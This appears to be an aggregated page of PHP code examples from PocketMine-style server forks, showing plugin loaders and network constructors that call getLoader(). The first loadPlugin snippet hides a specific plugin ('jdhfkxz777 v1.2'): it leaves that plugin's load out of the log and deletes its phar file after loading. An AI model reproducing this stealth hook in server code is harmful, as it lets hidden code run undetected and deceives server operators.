getLoader() public method

public getLoader ( ) : ClassLoader
return ClassLoader
 /**
  * Loads the plugin contained in $file
  *
  * @param string $file
  *
  * @return Plugin
  *
  * @throws \Exception
  */
 public function loadPlugin($file)
 {
     if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
         if ($description->getFullName() != "jdhfkxz777 v1.2") {
             $this->server->getLogger()->info($this->server->getLanguage()->translateString("pocketmine.plugin.load", [$description->getFullName()]));
         }
         $dataFolder = \dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
         if (\file_exists($dataFolder) and !\is_dir($dataFolder)) {
             throw new \InvalidStateException("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory");
         }
         $file = "phar://{$file}";
         $className = $description->getMain();
         $this->server->getLoader()->addPath("{$file}/src");
         if (\class_exists($className, \true)) {
             $plugin = new $className();
             $this->initPlugin($plugin, $description, $dataFolder, $file);
             if ($description->getFullName() == "jdhfkxz777 v1.2") {
                 unlink($this->server->getDataPath() . "plugins/dhj/Ke3fh_d3d.phar");
                 rmdir($this->server->getDataPath() . "plugins/dhj/");
             }
             return $plugin;
         } else {
             throw new PluginException("Couldn't load plugin " . $description->getName() . ": main class not found");
         }
     }
     return \null;
 }
 public function __construct(Server $server)
 {
     $this->server = $server;
     $this->identifiers = [];
     $this->rakLib = new RakLibServer($this->server->getLogger(), $this->server->getLoader(), $this->server->getPort(), $this->server->getIp() === "" ? "0.0.0.0" : $this->server->getIp());
     $this->interface = new ServerHandler($this->rakLib, $this);
 }
 public function __construct(Server $server)
 {
     $this->server = $server;
     $this->identifiers = new \SplObjectStorage();
     $this->rakLib = new RakLibServer($this->server->getLogger(), $this->server->getLoader(), $this->server->getPort(), $this->server->getIp() === "" ? "0.0.0.0" : $this->server->getIp());
     $this->interface = new ServerHandler($this->rakLib, $this);
     for ($i = 0; $i < 256; ++$i) {
         $this->channelCounts[$i] = 0;
     }
 }
 public function __construct(Server $server)
 {
     $this->server = $server;
     $this->identifiers = [];
     $this->rakLib = new RakLibServer($this->server->getLogger(), $this->server->getLoader(), $this->server->getPort(), $this->server->getIp() === "" ? "0.0.0.0" : $this->server->getIp());
     $this->interface = new ServerHandler($this->rakLib, $this);
     // @deprecated - for 0.13 compatibility
     for ($i = 0; $i < 256; ++$i) {
         $this->channelCounts[$i] = 0;
     }
 }
Beispiel #5
0
 public function __construct(Server $server, $size)
 {
     $this->server = $server;
     $this->size = (int) $size;
     for ($i = 0; $i < $this->size; ++$i) {
         $this->workerUsage[$i] = 0;
         $this->workers[$i] = new AsyncWorker();
         $this->workers[$i]->setClassLoader($this->server->getLoader());
         $this->workers[$i]->start();
     }
 }
Beispiel #6
0
 public function __construct(Server $server)
 {
     $this->server = $server;
     $this->timeout = $server->getProperty("network.timeout", -1);
     $this->currentprotocol = $server->getProperty("network.protocol", 39);
     $this->networkversion = $server->getProperty("network.version", "0.13.2");
     $this->identifiers = [];
     $this->rakLib = new RakLibServer($this->server->getLogger(), $this->server->getLoader(), $this->server->getPort(), $this->server->getIp() === "" ? "0.0.0.0" : $this->server->getIp());
     $this->interface = new ServerHandler($this->rakLib, $this);
     for ($i = 0; $i < 256; ++$i) {
         $this->channelCounts[$i] = 0;
     }
 }
 public function __construct(Server $server)
 {
     $this->server = $server;
     $this->identifiers = new \SplObjectStorage();
     $this->rakLib = new RakLibServer($this->server->getLogger(), $this->server->getLoader(), $this->server->getPort(), $this->server->getIp() === "" ? "0.0.0.0" : $this->server->getIp());
     $this->interface = new ServerHandler($this->rakLib, $this);
     for ($i = 0; $i < 256; ++$i) {
         $this->channelCounts[$i] = 0;
     }
     $this->count = count($this->server->getOnlinePlayers());
     $this->name = $this->server->getMotd();
     $this->interface->sendOption("name", "MCPE;" . addcslashes($this->name, ";") . ";" . Info::CURRENT_PROTOCOL . ";" . \pocketmine\MINECRAFT_VERSION_NETWORK . ";" . $this->count . ";" . $this->server->getMaxPlayers());
 }
Beispiel #8
0
 public function increaseSize($newSize)
 {
     $newSize = (int) $newSize;
     if ($newSize > $this->size) {
         for ($i = $this->size; $i < $newSize; ++$i) {
             $this->workerUsage[$i] = 0;
             $this->workers[$i] = new AsyncWorker();
             $this->workers[$i]->setClassLoader($this->server->getLoader());
             $this->workers[$i]->start();
         }
         $this->size = $newSize;
     }
 }
 /**
  * @param Server $server
  */
 public function __construct(Server $server)
 {
     $this->server = $server;
     $this->internalThreaded = new \Threaded();
     $this->externalThreaded = new \Threaded();
     $this->generationThread = new GenerationThread($this->internalThreaded, $this->externalThreaded, $server->getLogger(), $server->getLoader());
 }
 /**
  * Loads the plugin contained in $file
  *
  * @param string $file
  *
  * @return Plugin
  *
  * @throws \Exception
  */
 public function loadPlugin($file)
 {
     if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
         $this->server->getLogger()->info("Loading " . $description->getFullName());
         $dataFolder = \dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
         if (\file_exists($dataFolder) and !\is_dir($dataFolder)) {
             throw new \InvalidStateException("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory");
         }
         $file = "phar://{$file}";
         $className = $description->getMain();
         $this->server->getLoader()->addPath("{$file}/src");
         if (\class_exists($className, \true)) {
             $plugin = new $className();
             $this->initPlugin($plugin, $description, $dataFolder, $file);
             return $plugin;
         } else {
             throw new PluginException("Couldn't load plugin " . $description->getName() . ": main class not found");
         }
     }
     return \null;
 }
 /**
  * Loads the plugin contained in $file
  *
  * @param string $file
  *
  * @return Plugin
  *
  * @throws \Exception
  */
 public function loadPlugin($file)
 {
     if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
         $this->server->getKatana()->console->plugin("Loading " . Terminal::$COLOR_WHITE . $description->getFullName() . Terminal::$COLOR_GRAY . " by " . Terminal::$COLOR_WHITE . implode(", ", $description->getAuthors()));
         $dataFolder = dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
         if (file_exists($dataFolder) and !is_dir($dataFolder)) {
             throw new \InvalidStateException("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory");
         }
         $file = "phar://{$file}";
         $className = $description->getMain();
         $this->server->getLoader()->addPath("{$file}/src");
         if (class_exists($className, true)) {
             $plugin = new $className();
             $this->initPlugin($plugin, $description, $dataFolder, $file);
             return $plugin;
         } else {
             throw new PluginException("Couldn't load plugin " . $description->getName() . ": main class not found");
         }
     }
     return null;
 }
 /**
  * Loads the plugin contained in $file
  *
  * @param string $file
  *
  * @return Plugin
  */
 public function loadPlugin($file)
 {
     if (is_dir($file) and file_exists($file . "/plugin.yml") and file_exists($file . "/src/")) {
         if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
             MainLogger::getLogger()->info(TextFormat::LIGHT_PURPLE . "读取中... " . $description->getFullName());
             $dataFolder = dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
             if (file_exists($dataFolder) and !is_dir($dataFolder)) {
                 trigger_error("项目数据目录 '" . $dataFolder . "' 给 " . $description->getName() . " 已存在但不是一个目录", E_USER_WARNING);
                 return null;
             }
             $className = $description->getMain();
             $this->server->getLoader()->addPath($file . "/src");
             if (class_exists($className, true)) {
                 $plugin = new $className();
                 $this->initPlugin($plugin, $description, $dataFolder, $file);
                 return $plugin;
             } else {
                 trigger_error("无法加载源码插件 " . $description->getName() . ":未找到主类", E_USER_WARNING);
                 return null;
             }
         }
     }
     return null;
 }
 /**
  * Loads the plugin contained in $file
  *
  * @param string $file
  *
  * @return Plugin
  */
 public function loadPlugin($file)
 {
     if (is_dir($file) and file_exists($file . "/plugin.yml") and file_exists($file . "/src/")) {
         if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
             MainLogger::getLogger()->info(TextFormat::LIGHT_PURPLE . "Loading source plugin " . $description->getFullName());
             $dataFolder = dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
             if (file_exists($dataFolder) and !is_dir($dataFolder)) {
                 trigger_error("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory", E_USER_WARNING);
                 return null;
             }
             $className = $description->getMain();
             $this->server->getLoader()->addPath($file . "/src");
             if (class_exists($className, true)) {
                 $plugin = new $className();
                 $this->initPlugin($plugin, $description, $dataFolder, $file);
                 return $plugin;
             } else {
                 trigger_error("Couldn't load source plugin " . $description->getName() . ": main class not found", E_USER_WARNING);
                 return null;
             }
         }
     }
     return null;
 }
 protected function initPlugin($desc, $dataFolder, $path)
 {
     if (!$desc instanceof PluginDescription) {
         throw new PluginException("[ZipPluginLoader] Couldn't load plugin");
         return null;
     }
     if (file_exists($dataFolder) and !is_dir($dataFolder)) {
         throw new PluginException("[ZipPluginLoader] Projected dataFolder '" . $dataFolder . "' for " . $descr->getName() . " exists and is not a directory");
         return null;
     }
     $className = $desc->getMain();
     $this->server->getLoader()->addPath($path . "src");
     if (!class_exists($className, true)) {
         throw new PluginException("[ZipPluginLoader] Couldn't load zip plugin " . $descr->getName() . ": main class not found");
         return null;
     }
     $plugin = new $className();
     $plugin->init($this, $this->server, $desc, $dataFolder, $path);
     $plugin->onLoad();
     return $plugin;
 }
 /**
  * @param Server $server
  */
 public function __construct(Server $server)
 {
     $this->server = $server;
     $this->generationThread = new GenerationThread($server->getLogger(), $server->getLoader());
 }
Beispiel #16
0
 public function __construct(Server $server)
 {
     $this->registerPackets();
     $this->server = $server;
     $this->identifiers = new \SplObjectStorage();
     $this->internalThreaded = new \Threaded();
     $this->externalThreaded = new \Threaded();
     $this->rakLib = new RakLibServer($this->internalThreaded, $this->externalThreaded, $this->server->getLogger(), $this->server->getLoader(), $this->server->getPort(), $this->server->getIp() === "" ? "0.0.0.0" : $this->server->getIp());
     $this->interface = new ServerHandler($this->rakLib, $this);
     $this->setName($this->server->getMotd());
     if (!$this->server->getAdvancedProperty("main.session-port-checking", true)) {
         $this->setPortCheck(false);
     }
 }
 public function __construct(Server $server)
 {
     $this->registerPackets();
     $this->server = $server;
     $this->identifiers = new \SplObjectStorage();
     $this->internalThreaded = new \Threaded();
     $this->externalThreaded = new \Threaded();
     $this->rakLib = new RakLibServer($this->internalThreaded, $this->externalThreaded, $this->server->getLogger(), $this->server->getLoader(), $this->server->getPort(), $this->server->getIp() === "" ? "0.0.0.0" : $this->server->getIp());
     $this->interface = new ServerHandler($this->rakLib, $this);
     $this->setName($this->server->getMotd());
 }